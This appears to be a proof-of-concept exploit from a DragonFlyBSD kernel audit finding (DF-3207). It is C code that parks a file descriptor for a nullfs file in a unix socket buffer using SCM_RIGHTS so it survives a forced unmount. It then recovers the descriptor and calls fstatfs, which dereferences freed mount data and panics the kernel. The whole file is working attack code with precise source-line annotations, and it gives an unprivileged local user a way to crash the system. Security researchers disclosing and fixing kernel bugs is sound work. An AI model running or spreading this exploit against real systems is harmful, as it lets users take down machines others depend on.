⬢ DragonFlyBSD Kernel Audit
DF-3207 / ghost.c
← back to finding ↓ download raw
/*
 * DF-3207 PoC (deterministic variant) - unprivileged side.
 *
 * Parks an open fd on a file inside the nullfs mount in an AF_UNIX
 * socket's receive buffer via SCM_RIGHTS.  The struct file (and its
 * f_nchandle -> mount reference on the nullfs mount) survives the
 * umount -f kill-scan because process_uses_mount()
 * (sys/kern/vfs_syscalls.c:727-757) only scans process fd tables and
 * cwd/root/jail dirs -- a descriptor queued in a sockbuf is invisible.
 *
 * dounmount(MNT_FORCE) (vfs_syscalls.c:888-1006) exhausts its 50x250ms
 * retry loop, sets freeok=0 but STILL calls VFS_UNMOUNT ->
 * nullfs_unmount() (null_vfsops.c:261-267) zeroes mp->mnt_data and
 * kfrees the null_mount while our fp still references the (leaked but
 * live) struct mount.
 *
 * We then recvmsg() the fd back and call fstatfs(2):
 *   kern_fstatfs (vfs_syscalls.c:1495-1512) takes mp from
 *   fp->f_nchandle.mount with no vfs_busy/MNTK_UNMOUNT interlock and
 *   calls VFS_STATFS -> nullfs_statfs ->
 *   MOUNTTONULLMOUNT(mp)->nullm_vfs  (null_vfsops.c:308)
 *   = *(struct null_mount **)0  ->  kernel page fault -> panic.
 *
 * usage: ghost /mnt/a/f1 /tmp/df3207
 *   writes /tmp/df3207.stashed after parking the fd
 *   waits for /tmp/df3207.fire, then recvmsg + fstatfs
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *path, *ctl;
	char stashed[512], fire[512], buf[64];
	int sv[2], fd, got, i;
	struct msghdr msg;
	struct iovec iov;
	struct cmsghdr *cm;
	char cbuf[CMSG_SPACE(sizeof(int))];
	struct statfs sb;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <file-in-nullfs> <ctl-prefix>\n",
		    argv[0]);
		exit(1);
	}
	path = argv[1];
	ctl = argv[2];
	snprintf(stashed, sizeof(stashed), "%s.stashed", ctl);
	snprintf(fire, sizeof(fire), "%s.fire", ctl);
	unlink(stashed);
	unlink(fire);

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair");
		exit(1);
	}
	fd = open(path, O_RDONLY);
	if (fd < 0) {
		perror("open (is the nullfs mounted?)");
		exit(1);
	}

	/* Park the fd in the socket's receive buffer. */
	memset(&msg, 0, sizeof(msg));
	iov.iov_base = buf;
	iov.iov_len = 1;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = sizeof(cbuf);
	cm = CMSG_FIRSTHDR(&msg);
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_RIGHTS;
	cm->cmsg_len = CMSG_LEN(sizeof(int));
	memcpy(CMSG_DATA(cm), &fd, sizeof(int));
	if (sendmsg(sv[0], &msg, 0) < 0) {
		perror("sendmsg");
		exit(1);
	}
	close(fd);			/* no fd-table entry remains */

	if (creat(stashed, 0666) < 0) {
		perror("creat stashed");
		exit(1);
	}
	fprintf(stderr, "[%d] fd parked; waiting for fire signal\n", getpid());

	for (i = 0; i < 3600; i++) {	/* wait up to 1h */
		if (access(fire, F_OK) == 0)
			break;
		sleep(1);
	}
	if (access(fire, F_OK) != 0) {
		fprintf(stderr, "no fire signal\n");
		exit(1);
	}

	/* Recover the descriptor. */
	memset(&msg, 0, sizeof(msg));
	iov.iov_base = buf;
	iov.iov_len = 1;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = sizeof(cbuf);
	got = recvmsg(sv[1], &msg, 0);
	if (got < 0) {
		perror("recvmsg");
		exit(1);
	}
	cm = CMSG_FIRSTHDR(&msg);
	if (cm == NULL || cm->cmsg_type != SCM_RIGHTS) {
		fprintf(stderr, "no SCM_RIGHTS returned\n");
		exit(1);
	}
	memcpy(&fd, CMSG_DATA(cm), sizeof(int));
	fprintf(stderr, "[%d] fd %d recovered; fstatfs -> deref dead "
	    "nullfs mnt_data\n", getpid(), fd);

	/* kern_fstatfs -> VFS_STATFS(nullfs mp) -> MOUNTTONULLMOUNT(mp)
	 * with mp->mnt_data == NULL -> kernel VA 0 read -> panic. */
	if (fstatfs(fd, &sb) == 0) {
		fprintf(stderr, "fstatfs survived?! fstypename=%s\n",
		    sb.f_fstypename);
		exit(1);
	}
	fprintf(stderr, "fstatfs returned errno=%d (no panic)\n", errno);
	return (0);
}